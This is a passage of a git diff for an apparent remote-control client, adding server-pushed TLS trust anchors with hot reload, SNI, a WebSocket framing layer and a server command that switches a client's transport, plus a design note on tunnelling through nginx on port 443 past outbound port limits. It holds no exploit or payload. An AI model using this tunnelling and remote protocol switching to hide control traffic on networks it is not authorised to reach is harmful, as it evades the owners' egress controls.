source, std::string& err) { - std::string pem, source; + std::string pem; if (!ReadTrustAnchor(pem, source)) { - // 无证书 → 明文(默认,与老客户端一致) - g_tlsEnabled = false; - g_tlsError = false; - Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n"); - return; + err = "no trust anchor configured"; + return TLS_ANCHOR_NONE; } - // 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed), - // 不能静默回退明文。 HCERTSTORE store = NULL; if (!LoadTrustAnchor(pem, source, &store)) { - g_tlsEnabled = false; - g_tlsError = true; - Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n", - source.c_str()); - return; + err = "trust anchor (" + source + ") present but failed to load"; + return TLS_ANCHOR_INVALID; } // 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意 @@ -190,33 +191,87 @@ void InitTls() HCERTCHAINENGINE engine = NULL; if (!CertCreateCertificateChainEngine(&ec, &engine)) { CertCloseStore(store, 0); - g_tlsEnabled = false; - g_tlsError = true; - Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n"); - return; + err = "CertCreateCertificateChainEngine failed"; + return TLS_ANCHOR_INVALID; } + *outStore = store; + *outEngine = engine; + return TLS_ANCHOR_OK; +} + +// 按当前信任锚重建 TLS 状态(调用方持 g_tlsMtx)。 +// 首次加载失败 → fail-closed(管理员已「颁发」证书,不能静默回退明文);运行期热重载 +// 失败 → 保持现有状态不变,返回 false(一次坏下发不该打死正在工作的客户端;下次启动 +// 仍会 fail-closed)。 +bool ApplyTlsStateLocked(bool initial, std::string& err) +{ + HCERTSTORE store = NULL; + HCERTCHAINENGINE engine = NULL; + std::string source; + const TlsAnchor anchor = BuildTlsAnchor(&store, &engine, source, err); + + if (anchor == TLS_ANCHOR_INVALID) { + if (initial) { + g_tlsEnabled = false; + g_tlsError = true; + g_tlsLoaded = true; + Mprintf("[TLS] FATAL: %s; refusing connections (fail-closed)\n", err.c_str()); + } else { + Mprintf("[TLS] reload failed: %s (keeping current transport)\n", err.c_str()); + } + return false; + } + + // 互换。旧 store/engine 可以直接释放:校验路径持同一把锁,此刻没有线程在用它们。 + HCERTSTORE oldStore = g_tlsStore; + HCERTCHAINENGINE oldEngine = g_tlsEngine; g_tlsStore = store; g_tlsEngine = engine; - g_tlsEnabled = true; + g_tlsEnabled = (anchor == TLS_ANCHOR_OK); g_tlsError = false; - Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str()); + g_tlsLoaded = true; + if (oldEngine) CertFreeCertificateChainEngine(oldEngine); + if (oldStore) CertCloseStore(oldStore, 0); + + if (g_tlsEnabled) + Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str()); + else + Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n"); + return true; +} + +// 首次调用时才真正加载;之后一律用缓存的状态(热重载由 TlsReload 负责)。 +inline void EnsureTlsLoadedLocked() +{ + if (!g_tlsLoaded) { + std::string err; + ApplyTlsStateLocked(true, err); + } } } // namespace bool TlsEnabled() { - std::call_once(g_tlsOnce, InitTls); + std::lock_guard lk(g_tlsMtx); + EnsureTlsLoadedLocked(); return g_tlsEnabled; } bool TlsLoadError() { - std::call_once(g_tlsOnce, InitTls); + std::lock_guard lk(g_tlsMtx); + EnsureTlsLoadedLocked(); return g_tlsError; } +bool TlsReload(std::string& err) +{ + std::lock_guard lk(g_tlsMtx); + return ApplyTlsStateLocked(!g_tlsLoaded, err); +} + // ---- TlsChannel ---- void TlsChannel::CloseHandles() @@ -249,6 +304,10 @@ bool TlsChannel::VerifyServerCert() if (sc != SEC_E_OK || !remote) return false; + // 与 TlsReload 互斥:校验期间持有 g_tlsMtx,重建时释放的旧 store/engine 不会正被使用。 + // 持锁时间很短:建链全是本地操作(DISABLE_AIA 禁联网取中间证书,也不带任何 + // CERT_CHAIN_REVOCATION_CHECK_* 位),不会因为网络等待而卡住 TlsReload。 + std::lock_guard lk(g_tlsMtx); if (!g_tlsStore || !g_tlsEngine) { CertFreeCertificateContext(remote); return false; @@ -273,7 +332,7 @@ bool TlsChannel::VerifyServerCert() return trusted; } -bool TlsChannel::Handshake(SOCKET sock) +bool TlsChannel::Handshake(SOCKET sock, const char* sni) { std::lock_guard lk(m_ctxMtx); CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入) @@ -300,8 +359,10 @@ bool TlsChannel::Handshake(SOCKET sock) SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf }; ULONG attrs = 0; - // 首次调用产生 ClientHello - sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP, + // 首次调用产生 ClientHello。pszTargetName 非空时 Schannel 会把它作为 SNI 发送, + // 供反代按域名分流;证书校验仍是手动钉信任锚(SCH_CRED_MANUAL_CRED_VALIDATION), + // 不因传了名字而启用主机名校验。 + sc = InitializeSecurityContextA(&m_cred, NULL, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry); m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) { @@ -340,7 +401,7 @@ bool TlsChannel::Handshake(SOCKET sock) outBuf = { 0, SECBUFFER_TOKEN, NULL }; outDesc = { SECBUFFER_VERSION, 1, &outBuf }; - sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP, + sc = InitializeSecurityContextA(&m_cred, &m_ctx, (SEC_CHAR*)sni, flags, 0, SECURITY_NATIVE_DREP, &inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry); // 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部 diff --git a/client/TlsChannel.h b/client/TlsChannel.h index ed22506..0755e54 100644 --- a/client/TlsChannel.h +++ b/client/TlsChannel.h @@ -34,15 +34,24 @@ #include #include +#include #include -// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。 +// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全。 +// Windows 版同样是「可热切换」的:TlsReload() 之后本函数立刻反映新状态(不是 call_once)。 bool TlsEnabled(); // 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书, // 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。 bool TlsLoadError(); +// 按当前信任锚位置(注册表 settings\tls_cert → settings.ini → exe 同目录 yama-ca.pem) +// 重建 TLS 上下文并更新开关,让随后建立的新连接立刻走新传输方式(已建立的连接不受 +// 影响)。信任锚无效时不做任何改动、返回 false 并给出原因——一次坏下发不该把正在工作 +// 的客户端打死(下次启动仍 fail-closed)。线程安全:与 TlsEnabled/TlsLoadError/握手 +// 的证书校验互斥。 +bool TlsReload(std::string& err); + class TlsChannel { public: @@ -55,7 +64,9 @@ public: // 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false, // 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。 - bool Handshake(SOCKET sock); + // sni 非空且为域名时作为 SNI 发送,让反代(nginx)按域名分流到正确的 server 块; + // 证书校验仍只钉信任锚、不校主机名,与直接连主控端口时完全一致。 + bool Handshake(SOCKET sock, const char* sni = NULL); // 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。 int Recv(SOCKET sock, char* buf, int len); @@ -115,7 +126,8 @@ bool TlsLoadError(); // 服务端下发信任锚(COMMAND_TLS_ENABLE):把 PEM 正文写入 // $XDG_CONFIG_HOME/ghost/yama-ca.pem(默认 ~/.config/ghost/yama-ca.pem,无 HOME 时退回 // 程序目录),原子替换、权限 0600。写入前先解析验证,不是合法证书就整包拒绝。 -// 落盘后用 TlsReload() 立即生效(Windows 客户端仍要重启进程)。 +// 落盘后用 TlsReload() 立即生效(Windows 客户端在 COMMAND_TLS_ENABLE 里调用同一个 +// TlsReload(),两平台行为一致)。 bool TlsTrustAnchorSave(const std::string& pem, std::string& err); // 服务端撤销信任锚(COMMAND_TLS_DISABLE):删除上述配置文件(含程序目录同名文件)。 @@ -140,7 +152,8 @@ public: // 在已连通的 socket 上完成 TLS 1.2 客户端握手并按信任锚校验服务端证书链。失败返回 // false,调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。 - bool Handshake(int sock); + // sni 非空且为域名时作为 SNI 发送(反代按域名分流);证书校验仍只钉信任锚。 + bool Handshake(int sock, const char* sni = NULL); // 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。 int Recv(int sock, char* buf, int len); diff --git a/client/TlsChannelLinux.cpp b/client/TlsChannelLinux.cpp index 9b77070..acc6df0 100644 --- a/client/TlsChannelLinux.cpp +++ b/client/TlsChannelLinux.cpp @@ -40,7 +40,7 @@ namespace { const char* const kAnchorName = "yama-ca.pem"; -// 进程级 TLS 状态。与 Windows 版的 call_once 不同,这里可由 TlsReload() 热切换 +// 进程级 TLS 状态。两平台都可由 TlsReload() 热切换(Windows 版改造前是 call_once) // (服务端 COMMAND_TLS_ENABLE/DISABLE 落盘后立即重建),因此用互斥量而不是 once_flag。 std::mutex g_stateMtx; // 保护下面四项 bool g_inited = false; // 首次加载已完成(含 fail-closed 基态) @@ -415,7 +415,7 @@ void TlsChannel::CloseHandles() m_ready = false; } -bool TlsChannel::Handshake(int sock) +bool TlsChannel::Handshake(int sock, const char* sni) { std::lock_guard lk(m_ctxMtx); CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入) @@ -438,6 +438,10 @@ bool TlsChannel::Handshake(int sock) SSL_free(ssl); return false; } + // SNI:反代(nginx)据此按域名分流到正确的 server 块。证书校验仍是自定义 store 里的 + // 信任锚(SSL_VERIFY_PEER + 不校主机名),与直连主控端口时完全一致。 + if (sni && *sni) + SSL_set_tlsext_host_name(ssl, sni); SSL_set_connect_state(ssl); // 阻塞 socket:WANT_READ / WANT_WRITE 只在记录分片等极端情形出现,重试即可。 diff --git a/client/WsChannel.h b/client/WsChannel.h new file mode 100644 index 0000000..c0e00ee --- /dev/null +++ b/client/WsChannel.h @@ -0,0 +1,401 @@ +// WsChannel.h — WebSocket 传输层(客户端侧,头文件实现,无需改工程文件) +// +// 用途:当出站被限制在 80/443/8080 等少数端口时,客户端经反代(如 nginx 的 443) +// 以 WebSocket 进入服务端。应用协议完全不变:本层只把字节流套进 WS 帧里,位置与 +// TLS 相同(TLS 之下、应用协议之上)。 +// +// 两种形态(见 common/commands.h 的 ProtoType): +// PROTO_WS 裸 WebSocket(反代把明文 upgrade 转发到主控端口) +// PROTO_WSS WebSocket over TLS(反代终止 TLS;客户端仍用既有信任锚校验证书, +// 并通过 SNI 让反代按域名分流到正确的 server 块) +// +// 线程模型:Handshake 在连接线程上、m_bConnected 置位前调用;之后 Recv 只由接收 +// 线程调用、Send 只由发送线程调用。但 Recv 里要为 ping/close 回写控制帧,收、发两个 +// 线程会同时写 socket,因此写方向必须用 m_sendMtx 串行化,且一帧的头与体要一次写出, +// 否则两帧会互相穿插、对端解帧错位。TLS 自身的互斥由 TlsChannel 负责。 +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#include +#else +#include +#include +// 本头在 IOCPClient.h 里先于 common/commands.h 展开(后者是 Linux 版 SOCKET 的来源), +// 这里补一份同类型定义;重复 typedef 合法。 +typedef int SOCKET; +#endif +#ifndef SOCKET_ERROR +#define SOCKET_ERROR -1 +#endif + +#include "TlsChannel.h" + +class WsChannel +{ +public: + WsChannel() {} + +#ifdef YAMA_TLS_CHANNEL + // 绑定底层加密通道:WSS 指向 IOCPClient 的 TlsChannel,裸 WS 传 NULL。 + // 设置后本类的所有原始收发都经由它(或直接 send/recv)。 + void SetTls(TlsChannel* tls) { m_tls = tls; } +#endif + + // 让 Recv/Send 立刻失效。**可由任意线程调用**(Disconnect 可能来自心跳/命令线程, + // 不只是接收线程),因此这里只碰原子量;帧解析状态留给 ResetFrames()——它只在 + // Handshake 里、接收线程还没起来时清。 + void Reset() + { + m_ready = false; + } + + bool IsReady() const { return m_ready; } + + // 在已连通的 socket 上完成 HTTP Upgrade 握手。host 用于 Host 头(WSS 的 SNI 由 + // TlsChannel::Handshake 负责);path 是 Upgrade 请求的路径。失败时 err 给出原因。 + bool Handshake(SOCKET sock, const std::string& host, int port, const char* path, std::string* err = NULL) + { + Reset(); + ResetFrames(); + char hostPort[120] = { 0 }; + if (port == 80 || port == 443) + snprintf(hostPort, sizeof(hostPort), "%s", host.c_str()); + else + snprintf(hostPort, sizeof(hostPort), "%s:%d", host.c_str(), port); + + // Sec-WebSocket-Key 用固定值:它只用于让中间设备确认这是 WS 握手(服务端会原样 + // 做 SHA1/Base64 回显),不承担任何安全职责;真正的身份由隧道内登录和 TLS 承担。 + std::string req; + req.reserve(256); + req += "GET "; + req += path; + req += " HTTP/1.1\r\nHost: "; + req += hostPort; + req += "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n"; + req += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"; + req += "Sec-WebSocket-Version: 13\r\n\r\n"; + + if (!SendAll(sock, req.data(), (int)req.size())) { + if (err) *err = "send upgrade request failed"; + return false; + } + + // 逐字节读响应头,读到空行即停(多读的字节会被当作 WS 帧,而服务端在我们发首包 + // 前不会主动发数据,所以这里读到空行为止是安全的)。 + std::string head; + bool complete = false; + char c = 0; + while (head.size() < 4096) { + int n = RawRecv(sock, &c, 1); + if (n <= 0) { + if (err) *err = "connection closed during upgrade"; + return false; + } + head += c; + if (head.size() >= 4 && head.compare(head.size() - 4, 4, "\r\n\r\n") == 0) { + complete = true; + break; + } + } + if (!complete) { + if (err) *err = "upgrade response head too large"; + return false; + } + if (head.compare(0, 12, "HTTP/1.1 101") != 0) { + if (err) { + std::string line = head.substr(0, head.find("\r\n")); + *err = "upgrade rejected: " + line; + } + return false; + } + + m_ready = true; + return true; + } + + // 读取应用层字节:>0 为读到的字节数;0 表示对端正常关闭;SOCKET_ERROR 表示出错。 + // 与 recv 语义一致,调用方按同样方式处理。 + int Recv(SOCKET sock, char* buf, int len) + { + if (!m_ready || len <= 0) + return SOCKET_ERROR; + + for (;;) { + if (m_remaining > 0) { + int want = (m_remaining < (long long)len) ? (int)m_remaining : len; + int n = RawRecv(sock, buf, want); + if (n <= 0) + return n; // 0 = 对端关闭;SOCKET_ERROR = 出错(TLS 已记录原因) + if (m_masked) { + for (int i = 0; i < n; i++) { + buf[i] ^= (char)m_mask[m_maskPos]; + m_maskPos = (m_maskPos + 1) & 3; + } + } + m_remaining -= n; + return n; + } + + unsigned char opcode = 0; + long long frameLen = 0; + if (!ReadHeader(sock, opcode, frameLen)) + return SOCKET_ERROR; + + if (opcode >= 0x8) { + // 控制帧:载荷 ≤125 字节,必须在数据帧之间处理 + char ctl[125]; + if (frameLen > (long long)sizeof(ctl)) + return SOCKET_ERROR; + if (frameLen > 0) { + if (!ReadExact(sock, ctl, (int)frameLen)) + return SOCKET_ERROR; + Unmask(ctl, (int)frameLen); + } + if (opcode == 0x8) { // close:回一个 close,然后按正常关闭处理 + (void)WriteFrame(sock, 0x8, ctl, (int)frameLen); + m_ready = false; + return 0; + } + if (opcode == 0x9) { // ping → pong + if (!WriteFrame(sock, 0xA, ctl, (int)frameLen)) + return SOCKET_ERROR; + } + // 0xA (pong) 与其它的直接忽略 + continue; + } + + if (opcode != 0x0 && opcode != 0x1 && opcode != 0x2) + return SOCKET_ERROR; + if (frameLen == 0) + continue; + + m_remaining = frameLen; + m_maskPos = 0; + } + } + + // 发送应用层字节:全部发出返回 len;否则 SOCKET_ERROR。每包一帧(FIN + binary), + // 与主控端 wsConn 的「一次 Write 一帧」对齐,保证包边界与发出时一致。 + int Send(SOCKET sock, const char* buf, int len) + { + if (!m_ready) + return SOCKET_ERROR; + if (len <= 0) + return 0; + return WriteFrame(sock, 0x2, buf, len) ? len : SOCKET_ERROR; + } + + // 是否有已收到但尚未交付的应用层字节。两处来源:帧载荷只解析了一半(m_remaining), + // 或 TLS 会话内部还压着已解密明文(WSS)。接收线程在 select 之前要优先消费, + // 否则 select 看不到这些字节会被 2 秒超时卡住。 + bool HasPending() const + { + if (m_remaining > 0) + return true; +#ifdef YAMA_TLS_CHANNEL + if (m_tls) + return m_tls->HasPending(); +#endif + return false; + } + +private: + // ---- 原始收发:有 TLS 会话时全程走 TLS,否则裸 socket ---- + + int RawRecv(SOCKET sock, char* buf, int len) + { +#ifdef YAMA_TLS_CHANNEL + if (m_tls) + return m_tls->Recv(sock, buf, len); +#endif + return ::recv(sock, buf, len, 0); + } + + int RawSend(SOCKET sock, const char* buf, int len) + { +#ifdef YAMA_TLS_CHANNEL + if (m_tls) + return m_tls->Send(sock, buf, len); +#endif + return ::send(sock, buf, len, 0); + } + + bool SendAll(SOCKET sock, const char* buf, int len) + { + int sent = 0; + while (sent < len) { + int n = RawSend(sock, buf + sent, len - sent); + if (n <= 0) + return false; + sent += n; + } + return true; + } + + bool ReadExact(SOCKET sock, void* buf, int len) + { + char* p = (char*)buf; + int got = 0; + while (got < len) { + int n = RawRecv(sock, p + got, len - got); + if (n <= 0) + return false; + got += n; + } + return true; + } + + // 读帧头(含扩展长度与掩码键)。服务端发来的帧不应带掩码,带了也照样解。 + static const long long kMaxFramePayload = 256LL * 1024 * 1024; + + bool ReadHeader(SOCKET sock, unsigned char& opcode, long long& frameLen) + { + unsigned char h[2] = { 0, 0 }; + if (!ReadExact(sock, h, 2)) + return false; + if (h[0] & 0x70) + return false; // 未协商扩展却置了 RSV 位 + + opcode = h[0] & 0x0F; + m_masked = (h[1] & 0x80) != 0; + frameLen = h[1] & 0x7F; + + if (frameLen == 126) { + unsigned char ext[2]; + if (!ReadExact(sock, ext, 2)) + return false; + frameLen = ((long long)ext[0] << 8) | ext[1]; + } else if (frameLen == 127) { + unsigned char ext[8]; + if (!ReadExact(sock, ext, 8)) + return false; + frameLen = 0; + for (int i = 0; i < 8; i++) + frameLen = (frameLen << 8) | ext[i]; + if (frameLen < 0) + return false; + } + // 单帧载荷上限,与主控端 ServerWsSession 的 kMaxFramePayload 取同一个值(256 MB)。 + // 没有上限时,一个错误/被篡改的长度字段就能把 m_remaining 定在天文数字上,此后 + // 所有字节都被当成该帧的内容吞掉,连接表面上还活着却永远收不到新包——比直接断线 + // 难查得多。正常业务的最大单包远小于此值,故不会挡住既有功能。 + if (frameLen > kMaxFramePayload) + return false; + if (m_masked && !ReadExact(sock, m_mask, 4)) + return false; + m_maskPos = 0; + return true; + } + + void Unmask(char* buf, int len) + { + if (!m_masked) + return; + for (int i = 0; i < len; i++) { + buf[i] ^= (char)m_mask[m_maskPos]; + m_maskPos = (m_maskPos + 1) & 3; + } + } + + // 写一帧。客户端发往服务端的帧必须带掩码(RFC 6455 §5.3)。整帧(帧头 + 掩码后的 + // 载荷)在 m_sendMtx 内一次写出:接收线程可能在同一时刻回 pong/close,若两帧各自 + // 分「头」「体」两次发送就会交错,对端从此解帧错位。 + bool WriteFrame(SOCKET sock, unsigned char opcode, const char* payload, int len) + { + unsigned char hdr[14]; + int hn = 2; + hdr[0] = (unsigned char)(0x80 | opcode); + if (len < 126) { + hdr[1] = (unsigned char)(0x80 | len); + } else if (len <= 0xFFFF) { + hdr[1] = 0x80 | 126; + hdr[2] = (unsigned char)((len >> 8) & 0xFF); + hdr[3] = (unsigned char)(len & 0xFF); + hn = 4; + } else { + hdr[1] = 0x80 | 127; + unsigned long long v = (unsigned long long)len; + for (int i = 0; i < 8; i++) + hdr[2 + i] = (unsigned char)((v >> (56 - 8 * i)) & 0xFF); + hn = 10; + } + + std::lock_guard lock(m_sendMtx); + // 掩码在锁内、用本实例私有的 PRNG 生成:发送线程与接收线程(pong / close)都会 + // 写帧,锁外取掩码会让两个线程并发推进共享状态;而全局 rand() 更不能用了—— + // HttpMask 的构造函数里有 srand(time(nullptr)),会在同进程内重置全局序列。 + // xorshift64 对本场景足够(RFC 6455 §5.3 只要求掩码来自概率性熵源,不承担安全职责)。 + unsigned long long r = NextMask64(); + unsigned char mask[4]; + for (int i = 0; i < 4; i++) + mask[i] = (unsigned char)((r >> (8 * i)) & 0xFF); + memcpy(hdr + hn, mask, 4); + hn += 4; + + // 复用同一个缓冲区:发送热路径上每帧不再分配一个新 vector。 + m_frame.resize((size_t)hn + (size_t)len); + char* frame = m_frame.data(); + memcpy(frame, hdr, hn); + char* dst = frame + hn; + for (int i = 0; i < len; i++) + dst[i] = (char)(payload[i] ^ (char)mask[i & 3]); + + return SendAll(sock, frame, hn + len); + } + +#ifdef YAMA_TLS_CHANNEL + TlsChannel* m_tls = NULL; // WSS 时指向 IOCPClient 的 TLS 会话 +#endif + // 会话是否就绪。收、发分处两个线程,且 Disconnect 可能从接收线程侧走 Reset(), + // 故用原子量:x86 上裸 bool 实践无害,但换架构就不能再依赖这个巧合。 + std::atomic m_ready{false}; + + // 写帧掩码用的私有 PRNG(只在 m_sendMtx 内推进)。种子取地址 + 时间,够用即可: + // 掩码只用于让帧在链路上不再是固定形态,安全性由 TLS 与隧道内登录承担。 + unsigned long long NextMask64() + { + unsigned long long x = m_maskState; + if (x == 0) { + x = (unsigned long long)(uintptr_t)this; + x = x * 0x9E3779B97F4A7C15ULL ^ (unsigned long long)time(nullptr); + if (x == 0) + x = 0x2545F4914F6CDD1DULL; + } + // xorshift64* + x ^= x >> 12; + x ^= x << 25; + x ^= x >> 27; + m_maskState = x; + return x * 0x2545F4914F6CDD1DULL; + } + unsigned long long m_maskState = 0; + + // 写方向串行化(发送线程与接收线程的 pong/close 都会写帧),以及复用的整帧缓冲。 + std::mutex m_sendMtx; + std::vector m_frame; + + // 当前数据帧的剩余载荷长度与掩码状态(只由接收线程读写,无需加锁)。 + // 只能在接收线程未运行时清(见 public Reset()):Handshake 在连接线程上、m_bConnected + // 置位之前调用,那时接收线程还没开始读 socket。 + void ResetFrames() + { + m_remaining = 0; + m_masked = false; + m_maskPos = 0; + } + + long long m_remaining = 0; + bool m_masked = false; + unsigned char m_mask[4] = { 0, 0, 0, 0 }; + int m_maskPos = 0; +}; diff --git a/common/commands.h b/common/commands.h index d9d4a09..0f650b8 100644 --- a/common/commands.h +++ b/common/commands.h @@ -138,6 +138,7 @@ inline int isValid_10s() #define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图) #define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows) #define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux) +#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows) #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 @@ -346,6 +347,10 @@ enum { TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果 TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno) + // 协议切换(服务端 → 客户端):把连接入口改成指定传输(TCP/WS/WSS)并立即重连。 + // 客户端把入口写进本机配置后断开,重连循环按新入口重连;新入口连不上会自动回退。 + COMMAND_SET_PROTO = 177, // [ProtoSwitchPacket][certLen 字节 PEM 正文] + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 @@ -390,6 +395,22 @@ enum { TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端) }; +// COMMAND_SET_PROTO 的载荷(紧跟命令字节)。 +// +// host/port 都为空表示「还原到安装时的直连入口」:客户端用本地记住的原入口(prev_*) +// 恢复,服务端不需要知道客户端的直连地址。证书正文只在切换 WSS 且客户端可能还没有 +// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。 +#pragma pack(push, 1) +struct ProtoSwitchPacket { + uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS + char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原 + char port[8]; // 反向代理端口,空 = 还原 + uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发) +}; +#pragma pack(pop) + +static_assert(sizeof(ProtoSwitchPacket) == 113, "ProtoSwitchPacket must be exactly 113 bytes"); + // 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节), // 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回 // 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。 @@ -825,9 +846,15 @@ enum ProtoType { PROTO_HTTP = 2, // HTTP PROTO_RANDOM = 3, // 随机 PROTO_KCP = 4, // KCP - PROTO_HTTPS = 5, // HTTPS + PROTO_WS = 5, // WebSocket(明文;反代把 upgrade 转发到主控端口) + PROTO_WSS = 6, // WebSocket over TLS(客户端经反代 443 等受限端口接入) + PROTO_HTTPS = 7, // HTTPS(未启用:生成界面从未提供该选项,故 5 可让给 WS;原值 5) }; +// WebSocket 传输的 Upgrade 路径。反代的 location 必须与这里一致(服务端默认接受任意路径, +// 该常量只决定客户端请求哪个路径,见 client/WsChannel.h)。 +#define WS_UPGRADE_PATH "/api/ws" + #define KCP_SESSION_ID 666 enum RunningType { @@ -1127,6 +1154,8 @@ typedef struct LOGIN_INFOR { #ifdef _WIN32 caps |= CLIENT_CAP_SCREEN_PREVIEW; caps |= CLIENT_CAP_C2C_PATHS; + // 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。 + caps |= CLIENT_CAP_PROTO_SWITCH; #elif defined(__linux__) && !defined(__ANDROID__) // Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。 // macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。 diff --git a/docs/WebSocket_Transport_Design.md b/docs/WebSocket_Transport_Design.md new file mode 100644 index 0000000..5750157 --- /dev/null +++ b/docs/WebSocket_Transport_Design.md @@ -0,0 +1,481 @@ +# WebSocket 传输设计(受限出站端口下经反代接入) + +> 版本:v1.0(已实现并本地验证) · 日期:2026-10-30 +> 目标:客户端的出站被限制在 80 / 443 / 8080 等少数端口,且这些端口都不归主控所有时, +> 仍能让客户端连上服务端;同时把 nginx 侧改动压到最小(只加一个 server 块或一个 location)。 +> +> 需求原文: +> 1. 「我的客户端连接服务端时端口被限制……只能借助于已有端口分流,比如 nginx 的端口。 +> 但是我的客户端目前是 TCP 流量。调研一下怎么解决」 +> 2. 「我的客户端连接到 xxx.com:6543, 但是 6543 不允许出站」 +> 3. 「6543 我可以修改,但是只能改为 80,443,8080,但是这些端口都已经在使用」 +> 4. 「B 方案更适合目前场景。xxx.com 的 nginx 配置尽量少改,不要大改」 +> +> 已核实前提:客户端当前**都已启用 TLS**。服务端两套实现均可接入:Go 版(`server/go`) +> 与 MFC 版(`server/2015Remote`,见 §4.2)。 + +## 1. 方案选型 + +| 方案 | 做法 | 结论 | +|---|---|---| +| A. 占用 8080 | 把主控端口改到 8080 直连 | 否决:8080 已被别的应用占用 | +| **B. WebSocket over nginx 443** | 客户端把应用字节流套进 WS 帧,经 nginx `server_name` + `location /api/ws` 转发到 127.0.0.1:6543 | **采用** | +| C. 租新端口 | 换一台能出站的机器/端口 | 否决:出站白名单是客户端侧策略,换端口仍被拦 | + +B 方案的关键点:WS 升级只是一次普通 HTTP 请求,nginx 现有的 443 已经能承载; +真正的应用协议完全不变,只是「字节流外面多了一层帧」。 + +## 2. 协议号与形态 + +`common/commands.h`: + +| 值 | 枚举 | 形态 | +|---|---|---| +| 5 | `PROTO_WS` | 裸 WebSocket(明文;反代把明文 upgrade 转发到主控端口) | +| 6 | `PROTO_WSS` | WebSocket over TLS(**客户端经反代 443 接入,推荐**) | +| 7 | `PROTO_HTTPS` | 从未在生成界面出现过,故 5 让给 WS(原值 5,见下方风险) | + +`WS_UPGRADE_PATH` = `/api/ws`:客户端请求的 Upgrade 路径,反代的 `location` 必须与之对齐; +服务端默认接受任意路径,`YAMA_WS_PATH` 只用于把路径收窄。 + +传输层位置(自下而上):TCP → TLS(可选)→ **WebSocket 帧** → 既有应用协议(Shine/HELL 头、 +XOR、zstd、HTTP 伪装层)。WS 与 HTTP 伪装的 `MaskType` 互斥:选 WS 时用 `MaskTypeNone`。 + +> 兼容性:`PROTO_HTTPS` 从 5 移到 7。它在 `NewNetClient` 里本来就被直接拒绝、生成界面也从未 +> 提供,因此不存在已发布客户端带 5 号协议的情况。 +> +> 但这是**协议号复用**:从此任何历史落盘 / 历史配置里的 `proto=5` 一律按 `PROTO_WS` 解释。 +> 老客户端与老服务端之间若曾有 `5` 的任何含义,都会在这次升级后变成 WS。 + +## 3. 客户端实现 + +新增 `client/WsChannel.h`(**头文件实现**,各平台工程文件不必改动): + +- `Handshake(sock, host, port, path, &err)`:发 `GET HTTP/1.1` + `Upgrade: websocket`, + 期望 `HTTP/1.1 101`;`Sec-WebSocket-Key` 用固定值(它只用于让中间设备识别这是 WS 握手, + 安全由隧道内登录与 TLS 承担)。 +- `Send`:一次 `SendTo` 写一帧(FIN + binary,**客户端帧必须掩码**,RFC 6455 §5.3), + 与 Go 端 `wsConn.Write` 的「一次 Write 一帧」对齐,包边界与发出时一致。 +- 